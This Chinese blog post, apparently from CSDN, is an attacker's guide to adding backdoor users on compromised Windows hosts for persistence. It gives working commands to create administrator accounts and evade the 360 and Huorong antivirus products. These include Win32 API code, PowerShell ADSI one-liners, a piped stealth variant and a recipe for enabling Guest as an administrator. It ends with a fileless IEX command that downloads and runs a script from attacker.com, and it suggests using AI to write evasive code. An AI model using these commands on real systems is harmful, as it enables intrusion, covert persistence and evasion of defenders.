内网攻击流程--添加用户

目录

添加用户

使用场景

基础命令

免杀方法

方法1 直接调用win32 API 添加用户(火绒不拦截 360会)

方法2:powershell 添加用户

命令1:直接、清晰,但日志风险高

原始方法分析(ADSI 添加用户)

检测点(为什么会被360拦截)

命令2:稍隐蔽,依赖管道输入解析

激活用户

激活用户+权限提升命令(360不拦截火绒拦截)

为什么隐蔽

免杀方法概要

2。无文件攻击(内存加载)


添加用户

使用场景

  • WebShell阶段:适合快速添加用户,但风险较高(易被检测)。

攻击者通过WebShell获得命令执行权限,但尚未建立稳定的C2(如Cobalt Strike)连接。

需要快速添加一个隐藏用户,防止WebShell失效后失去权限。

  • C2上线后:更推荐通过C2会话隐蔽操作(如PowerShell或CS内置模块)。

隐蔽权限维持

  • 横向移动:优先攻击域控,添加域管理员用户。
  • 隐蔽性关键:禁用日志、隐藏用户、使用加密通信(如C2)。

基础命令

net user xxx a123123 /add

肯定会被拦截,但是我们可以用非net user的方式添加绕过

免杀方法

方法1 直接调用win32 API 添加用户(火绒不拦截 360会)

借鉴代码思路,利用ai写免杀添加用户的代码

GitHub - newsoft/adduser: Programmatically create an administrative user under Windows(当然互联网项目可能会被查杀,可以借鉴代码思路)

GitHub - lengjibo/NetUser: 使用windows api添加用户,可用于net无法使用时.分为nim版,c++版本,RDI版,BOF版。

技术实现

  1. go复制下载
// 加载Windows网络API库
netapi32 := windows.NewLazySystemDLL("netapi32.dll")
// 获取NetUserAdd函数
netUserAdd := netapi32.NewProc("NetUserAdd")

方法2:powershell 添加用户

命令1:直接、清晰,但日志风险高

原始命令

powershell -NoProfile -Command "$nt=[adsi]'WinNT://localhost';$user=$nt.create('user','ceshi');$user.setpassword('abc123456');$user.setinfo();Get-WmiObject -Class Win32_UserAccount -Filter 'name = \"ceshi\"';$group=[ADSI]'WinNT://localhost/administrators,group';$group.add('WinNT://$env:USERDOMAIN/ceshi,user')"

原始方法分析(ADSI 添加用户)
$nt = [adsi]"WinNT://localhost"
$user = $nt.create("user", "ceshi")
$user.setpassword("abc123456")
$user.setinfo()
Get-WmiObject -Class Win32_UserAccount -Filter "name = 'ceshi'"
$group = [ADSI]"WinNT://localhost/administrators,group"
$group.add("WinNT://$env:USERDOMAIN/ceshi,user")
  • 创建命名带$的隐藏账户(默认不显示在net user中)
检测点(为什么会被360拦截)
  1. 敏感关键词[adsi]setpasswordadministrators 是EDR/杀软的监控重点。
  2. PowerShell 默认日志Microsoft-Windows-PowerShell/Operational 会记录命令执行。
  3. WMI调用Get-WmiObject 可能触发行为检测。
命令2:稍隐蔽,依赖管道输入解析

echo $nt=[adsi]"WinNT://localhost";$user=$nt.create("user","ceshi");$user.setpassword("abc123456");$user.setinfo();Get-WmiObject -Class Win32_UserAccount -Filter "name = 'ceshi'";$group=[ADSI]"WinNT://localhost/administrators,group";$group.add("WinNT://$env:USERDOMAIN/ceshi,user") | powershell -

激活用户

Guest账户

激活(启用)Guest账户后,任何人在物理接触或网络访问条件下,都可以使用Guest账户登录系统

系统默认禁用的 Guest 账户

激活用户+权限提升命令(360不拦截火绒拦截)

net user Guest /active:yes

net localgroup Administrators Guest /add

    1. 激活系统默认禁用的 Guest 账户。
    2. Guest 加入管理员组(获得最高权限)

为什么隐蔽

  1. 账户合法性
    • Guest是系统内置账户,不会触发"新增可疑账户"的告警。
  1. 日志混淆
    • 事件日志中的账户名为"Guest",容易被忽视(区别于自定义的恶意账户名如hacker$)。
  1. 持久化优势
    • 即使管理员删除攻击者创建的临时账户,Guest账户仍会保留(需手动禁用)

免杀方法概要

1。重命名Guest账户

  • 避免直接操作Guest关键字触发检测。
2。无文件攻击(内存加载)
# 从远程加载脚本执行
IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/activate_guest.ps1")
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值